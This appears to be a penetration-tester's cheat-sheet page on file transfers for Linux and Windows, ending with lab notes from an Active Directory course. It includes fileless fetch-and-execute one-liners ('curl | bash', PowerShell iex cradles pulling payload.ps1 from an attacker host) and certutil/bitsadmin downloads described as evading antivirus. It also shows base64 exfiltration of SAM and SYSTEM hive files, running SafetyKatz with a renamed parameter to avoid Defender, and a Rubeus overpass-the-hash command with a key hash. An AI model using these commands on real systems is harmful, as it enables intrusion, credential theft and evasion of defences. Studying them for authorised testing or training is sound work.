> For the complete documentation index, see [llms.txt](https://x7331.gitbook.io/boxes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://x7331.gitbook.io/boxes/tools/file-transfers.md).

# File Transfers

## Linux

### Servers

{% tabs %}
{% tab title="HTTP (DL)" %}

```bash
# Python3
python3 -m http.server

# Python 2.7
python2.7 -m SimpleHTTPServer

# PHP
php -S 0.0.0.0:8000

# Ruby
ruby -run -ehttpd . -p8000
```

{% endtab %}

{% tab title="HTTP (UL)" %}
{% code overflow="wrap" %}

```bash
# Python3 
python3 -m uploadserver

# Netcat
nc -lvnp 1337
```

{% endcode %}

An HTTPS server can also be created:

{% code overflow="wrap" %}

```bash
# Create self-signed cert
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

# Create and move to webroot (must be different dir from the cert)
mkdir https && cd https

# Start web server using the cert
sudo python3 -m uploadserver 443 --server-certificate /root/server.pem

# Upload from the target
curl -X POST https://10.10.10.10/upload -F 'files=@file1' -F 'files=@file1' --insecure 
```

{% endcode %}
{% endtab %}

{% tab title="SMB (UL)" %}
SMB (Server Message Block) is a Windows-native protocol primarily used for file and printer sharing on local networks. It operates at a lower level, allowing direct access to files, directories, and network shares, often integrated into Windows Explorer and supporting authentication, locking, and permissions.

Start a SMB server:

```bash
# Unauthenticated [Authenticated]
sudo impacket-smbserver share -smb2support / [-user test -password test]
```

Connect to the server from the client and transfer the target file:

```bash
net use z: \\<SMB-server-IP>\share [/user:test test]

# Transfer
copy <file> z:\
```

{% endtab %}

{% tab title="FTP (UL)" %}

```bash
sudo python3 -m pyftpdlib --port 21 --write
```

{% endtab %}

{% tab title="WebDav (UL)" %}
WebDAV (Web Distributed Authoring and Versioning) is an extension of HTTP/HTTPS that allows users to manage files on a remote web server. It is more platform-agnostic and works over standard web ports, making it easier to traverse firewalls, but it generally has higher latency and fewer low-level filesystem features compared to SMB.

Start the WebDav server:

```bash
# Install libraries
sudo pip install wsgidav cheroot

# Start server
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
```

Browser the share or transfer the target file:

```bash
# Browse the share
dir \\<WebDav-server-IP>\DavWWWRoot

# Transfer a file
\Windows\Temp\<FILE> \\<WebDav-server-IP>\DavWWWRoot\
```

{% endtab %}
{% endtabs %}

### Utilities

{% tabs %}
{% tab title="Download" %}
[Wget](https://www.gnu.org/software/wget/) is a CLI utility for retrieving files from the web using HTTP, HTTPS, and FTP protocols. It supports recursive downloads, resume capabilities, and background operation. Offensive operators often use `wget` to fetch binaries or scripts from remote servers because it is widely available on Linux systems and can operate quietly in automated workflows.

{% code overflow="wrap" %}

```bash
wget http://10.10.10.10/nc.exe -O nc.exe

# Fileless execution (-q: quiet mode, -O: specifies the output, -O-: redirects output to stdout)
wget -qO- https://172.16.10.1/script.py | python3
```

{% endcode %}

[Curl](https://curl.se/) is a CLI tool and library for transferring data with URLs, supporting a wide range of protocols including HTTP, HTTPS, FTP, and SCP. It allows fine-grained control over headers, authentication, and request methods, making it useful for downloading files, interacting with APIs, or exfiltrating data in offensive operations.

```bash
curl http://10.10.10.10/script.sh -o /tmp/script.sh

# Fileless execution
curl https://172.16.10.1/script.sh | bash
```

[SCP](https://linux.die.net/man/1/scp) (Secure Copy) is a CLI utility for securely transferring files between hosts over SSH. It provides encryption for both authentication and data transfer, making it a reliable method to move files across remote systems in penetration testing or red team engagements while maintaining confidentiality and integrity.

```bash
scp user@172.16.10.10:/tmp/nc.exe ./nc.exe
```

[`/dev/tcp`](https://tldp.org/LDP/abs/html/devref1.html) can also be used for fileless execution:

```bash
# Connect to the target webserver
exec 3<>/dev/tcp/10.10.10.32/80

# HTTP GET request
echo -e "GET /script.sh HTTP/1.1\n\n">&3

# Print the response
cat <&3
```

{% endtab %}

{% tab title="Upload" %}
The SCP utility can be used to upload a file to the target:

```bash
scp revshell.sh user@172.16.10.10:/tmp/revshell.sh
```

{% endtab %}
{% endtabs %}

## Windows

### Servers

#### WebDav (SMB over HTTP)

```powershell
# To a Linux WebDav server
copy C:\Users\john\Desktop\SourceCode.zip \\10.10.10.10\DavWWWRoot\
```

#### SMB

Create an SMB share:

```powershell
# Create a new share
New-SmbShare -Name "shared" -Path "C:\Users\x7331" -FullAccess "Everyone"

# Confirm the share is up
Get-SmbShare
```

Access it from the target via File Explorer at `\\10.10.10.10\shared`.

### Downloads

#### HTTP(S)

A cradle is a technique to download and execute PS code directly in memory to avoid writing to disk; a technique commonly used for payload delivery and evasion.

{% code overflow="wrap" %}

```powershell
# PSv3+
iex (iwr 'http://attacker/payload.ps1' -UseBasicParsing)

# WebClient
iex (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/file1','c:\temp\file1') | IEX

# XMLHTTP
$h=New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET','http://webserver/payload.ps1',$false)
$h.send()
iex $h.responseText

# IE COM Object
$ie=New-Object -ComObject InternetExplorer.Application
$ie.visible=$False
$ie.navigate('http://webserver/payload.ps1')
sleep 5
$response=$ie.Document.body.innerHTML
$ie.quit()
iex $response
```

{% endcode %}

[Certutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil) is a built-in tool that is often abused to download files, encode or decode data, and interact with certificate stores while evading most AV detections:

* `-split` ensures that large files are split and reassembled correctly during download, preventing corruption.
* `-f` forces the operation, overwriting any existing file with the same name without prompting.

{% code overflow="wrap" %}

```powershell
certutil.exe -split -urlcache -f http://10.10.10.10/nc.exe nc.exe
```

{% endcode %}

[Bitsadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin) is a built-in tool used to manage Background Intelligent Transfer Service (BITS) jobs, which are normally used to download or upload files asynchronously with network throttling. Similarly to `certutil.exe` it can be leveraged to transfer files covertly, as it uses a system service that often bypasses standard firewall and proxy restrictions and avoids AV detection.

* `/transfer` specifies that the operation is a [transfer job](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer), while `n` is simply the name assigned to that job for tracking or management purposes.

{% code overflow="wrap" %}

```powershell
bitsadmin /transfer n http://10.10.10.10/nc.exe C:\Windows\Temp\nc.exe
```

{% endcode %}

Other tools:

{% code overflow="wrap" %}

```powershell
Invoke-WebRequest https://10.10.10.10/nc.exe -OutFile c:\windows\temp\nc.exe

(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/file1','c:\temp\file1')

wget http://10.10.10.10/nc.exe -O c:\windows\temp\nc.exe

curl http://10.10.10.10/nc.exe -o nc.exe

# PHP
php -r '$file = file_get_contents("https://10.10.10.10/file1"); file_put_contents("$file",file1);'
```

{% endcode %}

#### SMB

{% code overflow="wrap" %}

```powershell
# Unauthenticated transfer
copy \\10.10.10.10\share\file1

# Connect to the share (authenticated)
net use n: \\10.10.10.10\share /user:test test
# Transfer
copy n:\file1
```

{% endcode %}

#### SSH

{% code overflow="wrap" %}

```powershell
scp user@172.16.10.10:/tmp/file1 c:\temp\file1
```

{% endcode %}

### Uploads

#### HTTP(S)

{% code overflow="wrap" %}

```powershell
# Encode
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'c:\temp\file1' -Encoding Byte))

# Upload file
Invoke-WebRequest -Uri http://10.10.10.10 -Method POST -Body $b64
```

{% endcode %}

#### SSH

{% code overflow="wrap" %}

```powershell
scp C:\Temp\file1 user@10.10.10.10:/tmp/file1
```

{% endcode %}

#### FTP

{% code overflow="wrap" %}

```powershell
(New-Object Net.WebClient).UploadFile('ftp://10.10.10.5/text.txt', 'C:\Windows\Temp\text.txt')
```

{% endcode %}

## Misc

### b64

Windows to Linux:

{% code overflow="wrap" %}

```powershell
# Encode file on Windows
[Convert]::ToBase64String((Get-Content -path "c:\temp\file1" -Encoding byte))
# Or
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\sam.save")
[Convert]::ToBase64String($bytes)

# Copy the output and decode it on Linux
echo IyBDb3B5...YWxob3N0DQo= | base64 -d > file1
```

{% endcode %}

Linux to Windows (`-w 0` disables line wrapping):

{% code overflow="wrap" %}

```bash
# Encode file
cat file1 | base64 -w 0;echo

# Decode on PowerShell
[IO.File]::WriteAllBytes("c:\temp\file1", [Convert]::FromBase64String("LS0tL...0tLQo="))
```

{% endcode %}

If the file is huge (e.g. `SYSTEM`) leverage `script` logging:

{% code overflow="wrap" %}

```bash
# Launch script
script sys-output.txt

# Encode in small chunks
for ($i=0; $i -lt (Get-Item C:\Windows\sys.save).Length; $i+=4096) {powershell -NoP -C "`$fs=[System.IO.File]::OpenRead('C:\Windows\sys.save');`$fs.Seek($i,0)|Out-Null;`$b=New-Object byte[] 4096;`$r=`$fs.Read(`$b,0,`$b.Length);[Convert]::ToBase64String(`$b,0,`$r)"}
```

{% endcode %}

Then clean `sys-output.txt` so only the b64 bits are in it, decode and fix padding:

{% code title="decode-sys.py" overflow="wrap" %}

```py
import base64

with open("sys_output-2.txt") as f, open("sys.save", "wb") as out:
    for line in f:
        data = line.strip()
        if not data:
            continue

        # Fix padding dynamically
        while len(data) % 4 != 0:
            data += "="

        try:
            out.write(base64.b64decode(data))
        except Exception:
            pass
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# Run script
$ python decode-sys.py

# Confirm format
$ xxd -l 8 sys.save
00000000: 7265 6766 361f 0000                      regf6...
```

{% endcode %}

### Linux

{% tabs %}
{% tab title="Python3 Upload" %}
{% code overflow="wrap" %}

```bash
# starting an uploadserver
python3 -m uploadserver 
# uploading a file
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("file1","rb")})'
```

{% endcode %}
{% endtab %}

{% tab title="Python Download" %}
{% code overflow="wrap" %}

```bash
# python2.7
python2.7 -c 'import urllib;urllib.urlretrieve ("https://script.sh", "script.sh")'
# python3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://script.sh", "script.sh")'
```

{% endcode %}
{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="PHP Download (1)" %}
{% code overflow="wrap" %}

```bash
php -r '$file = file_get_contents("https://10.10.10.10/script.sh"); file_put_contents("script.sh",$file);'
```

{% endcode %}
{% endtab %}

{% tab title="PHP Download (2)" %}
{% code overflow="wrap" %}

```bash
php -r 'const BUFFER = 1024; $fremote = 
fopen("https://10.10.10.10/script.sh", "rb"); $flocal = fopen("script.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
```

{% endcode %}
{% endtab %}

{% tab title="PHP Fileless Execution" %}
{% code overflow="wrap" %}

```bash
php -r '$lines = @file("https://10.10.10.10/script.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```

{% endcode %}
{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="PERL" %}
{% code overflow="wrap" %}

```bash
perl -e 'use LWP::Simple; getstore("https://10.10.10.10/script.sh", "script.sh");'
```

{% endcode %}
{% endtab %}

{% tab title="Ruby" %}
{% code overflow="wrap" %}

```bash
ruby -e 'require "net/http"; File.write("script.sh", Net::HTTP.get(URI.parse("https://10.10.10.10/script.sh")))'
```

{% endcode %}
{% endtab %}
{% endtabs %}

### Windows

{% tabs %}
{% tab title="1. JS -> Create Script" %}

```javascript
# create a file called `wget.js`
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

{% endtab %}

{% tab title="2. CMD/PS -> Execute Script" %}
{% code overflow="wrap" %}

```powershell
# execute script
cscript.exe /nologo wget.js https://10.10.10.10/script.ps1 script.ps1
```

{% endcode %}
{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="1. VBScript -> Create Script" %}

```vba
# create a file called `wget.vbs`
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

{% endtab %}

{% tab title="2. CMD/PS -> Execute Script" %}
{% code overflow="wrap" %}

```powershell
# execute script
cscript.exe /nologo wget.vbs https://10.10.10.10/script.ps1 script.ps1
```

{% endcode %}
{% endtab %}
{% endtabs %}

## CRTP

{% tabs %}
{% tab title="LO7" %}
Transfer files from the attacking host to a compromised host (`dcorp-ci`):

```powershell
iwr http://172.16.100.37/Loader.exe -OutFile c:\users\public\Loader.exe
```

Copy the file from `dcorp-ci` to the target host (`dcorp-mgmt`):

{% code overflow="wrap" %}

```powershell
echo F | xcopy c:\users\public\Loader.exe \\dcorp-mgmt\C$\Users\Public\Loader.exe
```

{% endcode %}

If we run `SafetyKatz` via the `Loader` directly from the webserver, MD will complain about it because it includes an external IP address (attacker's IP):

{% code overflow="wrap" %}

```powershell
winrs -r:dcorp-mgmt "cmd /c C:\users\public\Loader.exe -path http://172.16.100.37/SafetyKatz.exe sekurlsa::evasive-keys exit"
```

{% endcode %}

A workaround would be to do it via a port forward. Any connection made to `dcorp-mgmt` port `8080` will be forwarded to the attacker's machine port `80`:

{% hint style="info" %}
The `sekurlsa` parameter `ekeys` was renamed to `evasive-keys` to avoid MD flagging.
{% endhint %}

{% code overflow="wrap" %}

```sh
# Create a port forward from dcorp-mgmt to the attacker machine
$null | winrs -r:dcorp-mgmt "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.37"

# Download and execute binary via localhost
winrs -r:dcorp-mgmt "cmd /c C:\users\public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::evasive-keys exit"
```

{% endcode %}

Now we can OtH:

{% code overflow="wrap" %}

```powershell
Loader.exe -path Rubeus.exe -args asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:c:\windows\system32\cmd.exe /show /ptt
```

{% endcode %}

A new shell will spawn in the `svcadmin` context. This is a remote type 9 login, so the context will show only when accessing a remote host

{% code overflow="wrap" %}

```sh
> klist

Current LogonId is 0:0x6666f8a

Cached Tickets: (1)

#0>     Client: svcadmin @ DOLLARCORP.MONEYCORP.LOCAL
        Server: krbtgt/DOLLARCORP.MONEYCORP.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        
> whoami
dcorp\student337

> winrs -r:dcorp-dc cmd /c set username
USERNAME=svcadmin

# List running services and as who they run as
>winrs -r:dcorp-mgmt cmd /c wmic service get Name,State,StartName
MSSQLSERVER   dcorp\svcadmin   Running

>winrs -r:dcorp-mgmt cmd /c powershell "Get-WmiObject Win32_Service | Where-Object { $_.StartName -like '*svcadmin*' } | Select Name, StartName, State"


Name        StartName      State
----        ---------      -----
MSSQLSERVER dcorp\svcadmin Running
```

{% endcode %}
{% endtab %}

{% tab title="LO7" %}
{% code overflow="wrap" %}

```powershell
Copy-Item .\Invoke-Mimi.ps1 \\dcorp-adminsrv.dollarcorp.moneycorp.local\c$\'Program Files'
```

{% endcode %}
{% endtab %}
{% endtabs %}
